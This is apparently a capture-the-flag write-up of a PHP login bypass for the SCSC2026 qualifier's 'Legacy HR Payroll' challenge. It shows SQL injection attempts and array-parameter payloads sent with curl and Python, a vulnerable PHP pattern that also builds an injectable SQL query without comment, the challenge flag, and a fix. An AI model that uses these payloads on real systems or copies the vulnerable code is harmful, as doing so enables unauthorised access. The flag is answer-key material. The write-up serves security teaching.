359 words
2 minutes
SCSC2026 Quals - Legacy HR Payroll - Web Exploitation Writeup

Category: Web Exploitation
URL: http://sriwijayasecuritysociety.com:8002/
Flag: SCSC26{pHp_j4dUt_b1k1n_pUs1nG_k3p4L4}

Challenge Description#

A legacy payroll system login page requiring Employee ID (format: HR-XXXX-Y) and PIN Code authentication.

Initial Reconnaissance#

The login page features:

  • A form with “Employee ID” and “PIN Code” fields
  • Placeholder hint showing format: “HR-XXXX-Y”
  • POST method submitting to empid and pin parameters
$ curl -X POST -d "empid=HR-0001-1&pin=1234" http://sriwijayasecuritysociety.com:8002/
# Returns: Invalid credentials

Vulnerability Discovery#

Step 1: Testing SQL Injection#

# Basic SQL injection attempts
$ curl -X POST -d "empid=' OR '1'='1&pin=1234" http://sriwijayasecuritysociety.com:8002/
$ curl -X POST -d "empid=' OR 1=1#&pin=anything" http://sriwijayasecuritysociety.com:8002/

Result: All SQL injection attempts failed.

Step 2: Testing PHP Type Juggling#

PHP is notorious for its loose type comparison. Testing array parameters:

$ curl -X POST -d "empid[]=HR-0001-1&pin=1234" http://sriwijayasecuritysociety.com:8002/

Result: PHP error revealed!

Warning: strcmp() expects parameter 2 to be string, array given in /var/www/html/index.php on line 15

Vulnerability Analysis: strcmp() Type Juggling#

The error reveals the application uses strcmp() for credential comparison.

How strcmp() Works#

int strcmp ( string $str1 , string $str2 )
// Returns 0 if equal, <0 if str1 < str2, >0 if str1 > str2

The Vulnerability#

When strcmp() receives an array instead of a string:

  1. It returns NULL (and emits a warning)
  2. In PHP’s loose comparison: NULL == 0 evaluates to true
  3. Since strcmp() returns 0 for equal strings, this bypasses authentication!

Vulnerable Code Pattern#

<?php
$empid = $_POST['empid'];
$pin = $_POST['pin'];

$user = $db->query("SELECT * FROM employees WHERE empid = '$empid'");

// VULNERABLE: loose comparison with strcmp
if (strcmp($user['pin'], $pin) == 0) {
    // Authentication successful - but strcmp returns NULL for array input!
    // NULL == 0 is TRUE in PHP!
}
?>

Exploitation#

Send both parameters as arrays to trigger the vulnerability:

$ curl -X POST \
  -d "empid[]=HR-0001-1&pin[]=1234" \
  http://sriwijayasecuritysociety.com:8002/

Result: Authentication bypassed! Flag revealed:

SCSC26{pHp_j4dUt_b1k1n_pUs1nG_k3p4L4}

Alternative Exploitation Methods#

Using Python Requests#

import requests

url = "http://sriwijayasecuritysociety.com:8002/"
payload = {
    "empid[]": "HR-0001-1",
    "pin[]": "1234"
}

response = requests.post(url, data=payload)
print(response.text)

Using Browser DevTools#

  1. Open login page in browser
  2. Open Developer Tools (F12)
  3. Modify form HTML:
    • Change name="empid" to name="empid[]"
    • Change name="pin" to name="pin[]"
  4. Submit the form

Secure Code Fix#

<?php
// 1. Validate input types
if (!is_string($_POST['empid']) || !is_string($_POST['pin'])) {
    die("Invalid input");
}

// 2. Use strict comparison (===) or hash_equals()
if (hash_equals($user['pin'], $pin)) {
    // Secure comparison - timing-safe and type-strict
}

// 3. For passwords, use password_verify() with hashed passwords
if (password_verify($pin, $user['hashed_pin'])) {
    // Proper password handling
}
?>
SCSC2026 Quals - Legacy HR Payroll - Web Exploitation Writeup
https://blog.rei.my.id/posts/21/scsc2026-quals-legacy-hr-payroll-web-exploitation-writeup/
Author
Reidho Satria
Published at
2026-02-17
License
CC BY-NC-SA 4.0